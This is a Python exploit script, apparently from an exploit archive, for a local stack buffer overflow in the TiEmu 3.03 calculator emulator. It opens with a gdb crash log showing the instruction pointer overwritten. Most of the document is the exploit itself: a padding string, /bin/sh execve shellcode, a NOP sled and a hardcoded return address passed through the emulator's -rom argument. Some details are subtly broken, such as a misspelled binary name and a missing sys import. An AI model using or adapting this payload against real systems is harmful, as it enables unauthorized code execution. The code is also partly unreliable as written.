70 lines
No EOL
2.2 KiB
Python
Executable file
70 lines
No EOL
2.2 KiB
Python
Executable file
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
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jsacco@exploitpack.com
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# Program affected: Texas Instruments calculators emulator (without GDB)
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# Version: 3.03-nogdb+dfsg-3
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#
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# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
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# Program description: TiEmu emulates Texas Instruments calculators TI
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9/92/92+/V200PLT.
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# Kali Linux 2.0 package: pool/main/t/tiemu/tiemu_3.03-nogdb+dfsg-3_i386.deb
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# MD5sum: 79a42bb40dfa8437b6808a9072faf001
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# Website: http://lpg.ticalc.org/prj_tiemu/
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#
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#
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# Starting program: /usr/bin/tiemu -rom=$(python -c 'print "A"*80')
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# [Thread debugging using libthread_db enabled]
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# Using host libthread_db library
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"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
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# TiEmu 3 - Version 3.03
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# THIS PROGRAM COMES WITH ABSOLUTELY NO WARRANTY
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# PLEASE READ THE DOCUMENTATION FOR DETAILS
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#
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# Program received signal SIGSEGV, Segmentation fault.
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#
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# 0x41414141 in ?? ()
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#
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# gdb$ backtrace
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#0 0xb7fdebe0 in __kernel_vsyscall ()
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#1 0xb6ec9367 in __GI_raise (sig=sig@entry=0x6) at
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../nptl/sysdeps/unix/sysv/linux/raise.c:56
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#2 0xb6ecaa23 in __GI_abort () at abort.c:89
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#3 0xb6f07778 in __libc_message (do_abort=do_abort@entry=0x2,
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fmt=fmt@entry=0xb6ffd715 "*** %s ***: %s
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#4 0xb6f97b85 in __GI___fortify_fail (msg=msg@entry=0xb6ffd6fd "stack
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smashing detected") at fortify_fail.c:31
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#5 0xb6f97b3a in __stack_chk_fail () at stack_chk_fail.c:28
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#6 0x0811beb3 in _start ()
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import os,subprocess
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def run():
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try:
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print "# Texas Instrument Emulator Buffer Overflow by Juan Sacco"
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print "# This exploit is for educational purposes only"
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# JUNK + SHELLCODE + NOPS + EIP
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junk = "\x41"*84
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shellcode =
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"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
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nops = "\x90"*12
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eip = "\xd1\xf3\xff\xbf"
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subprocess.call(["tiem ",'-rom= ', junk + shellcode + nops + eip])
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except OSError as e:
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if e.errno == os.errno.ENOENT:
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print "Sorry, Texas Instrument emulator not found!"
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else:
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print "Error executing exploit"
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raise
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def howtousage():
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print "Snap! Something went wrong"
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sys.exit(-1)
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if __name__ == '__main__':
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try:
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print "Exploit Tiem 3.03-nogdb+dfsg-3 Local Overflow Exploit"
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print "Author: Juan Sacco"
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except IndexError:
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howtousage()
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run() |